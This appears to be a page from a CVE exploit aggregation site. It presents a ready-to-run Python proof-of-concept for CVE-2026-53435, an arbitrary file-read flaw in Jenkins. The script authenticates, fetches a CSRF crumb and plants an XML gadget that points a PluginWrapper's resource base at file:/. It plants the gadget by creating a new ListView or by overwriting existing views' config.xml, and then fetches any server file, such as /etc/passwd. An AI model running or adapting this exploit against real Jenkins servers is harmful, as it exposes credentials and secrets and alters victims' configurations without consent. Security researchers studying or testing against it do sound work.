5692 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit_cve_2026_53435_v2.py PY
#!/usr/bin/env python3
"""
CVE-2026-53435 file-read exploit (v2) -- multi-vector + diagnostics.
For AUTHORIZED engagements only.

The gadget is planted into a DescribableList that does NOT enforce element type
pre-patch, then reached via Stapler routing -> hudson.Plugin.doDynamic serves the
file from baseResourceURL=file:/.

Vectors tried (need one of):
  - View/Configure : create a new ListView (or overwrite an existing one) and use
                     its <properties> (DescribableList<ViewProperty>).
  - Item/Configure : overwrite an existing Job's config.xml is NOT used here because
                     job DescribableLists cast to BuildStep; the View vector is the
                     reliable one. If the account only has Item perms, see notes.

Usage:
  python3 exploit_cve_2026_53435_v2.py <base_url> <user> <pass> <remote_file> [view_name]
  python3 exploit_cve_2026_53435_v2.py https://jenkins.internal:8080 test test /etc/passwd
"""
import sys, requests
from requests.auth import HTTPBasicAuth
requests.packages.urllib3.disable_warnings()

GADGET = ('<hudson.Plugin_-DummyImpl>'
          '<wrapper class="hudson.PluginWrapper"><baseResourceURL>file:/</baseResourceURL></wrapper>'
          '</hudson.Plugin_-DummyImpl>')

def view_xml(name):
    return (f"<?xml version='1.1' encoding='UTF-8'?>"
            f"<hudson.model.ListView><name>{name}</name>"
            f"<properties>{GADGET}</properties>"
            f'<jobNames class="tree-set"><comparator class="hudson.util.CaseInsensitiveComparator"/></jobNames>'
            f"<jobFilters/><columns/><recurse>false</recurse></hudson.model.ListView>")

def main():
    if len(sys.argv) < 5:
        print(__doc__); sys.exit(1)
    base, user, pw, remote = sys.argv[1:5]
    name = sys.argv[5] if len(sys.argv) > 5 else "cve53435"
    base = base.rstrip('/')
    s = requests.Session(); s.auth = HTTPBasicAuth(user, pw); s.verify = False

    # crumb (CSRF) — required on most instances
    H = {"Content-Type": "application/xml"}
    try:
        c = s.get(base + "/crumbIssuer/api/json", timeout=15).json()
        H[c["crumbRequestField"]] = c["crumb"]
    except Exception:
        print("[!] no crumb issuer (or auth failed) — continuing without crumb")

    # diagnostics
    who = s.get(base + "/whoAmI/api/json", timeout=15)
    print(f"[*] authenticated as: {who.json().get('name') if who.ok else '??'} (HTTP {who.status_code})")

    # vector A: create a fresh ListView
    r = s.post(base + f"/createView?name={name}", data=view_xml(name).encode(), headers=H, timeout=20)
    print(f"[*] createView '{name}' -> HTTP {r.status_code}")
    if r.status_code not in (200, 302):
        # vector B: overwrite an existing view we can configure
        print("[*] createView failed; enumerating existing views to overwrite via config.xml ...")
        try:
            views = [v["name"] for v in s.get(base + "/api/json?tree=views[name]", timeout=15).json().get("views", [])]
        except Exception:
            views = []
        for vn in views:
            rr = s.post(base + f"/view/{vn}/config.xml", data=view_xml(vn).encode(), headers=H, timeout=20)
            print(f"    overwrite view '{vn}' config.xml -> HTTP {rr.status_code}")
            if rr.status_code in (200, 302):
                name = vn
                break
        else:
            print("[!] no writable view found. Need View/Configure (or another config.xml POST perm). Aborting.")
            sys.exit(2)

    # trigger: route to the planted gadget; restOfPath is the file under file:/
    path = remote.lstrip('/')
    r = s.get(base + f"/view/{name}/properties/0/{path}", timeout=20)
    print(f"[*] GET /view/{name}/properties/0/{path} -> HTTP {r.status_code}")
    print("=" * 60)
    print(r.text)

if __name__ == "__main__":
    main()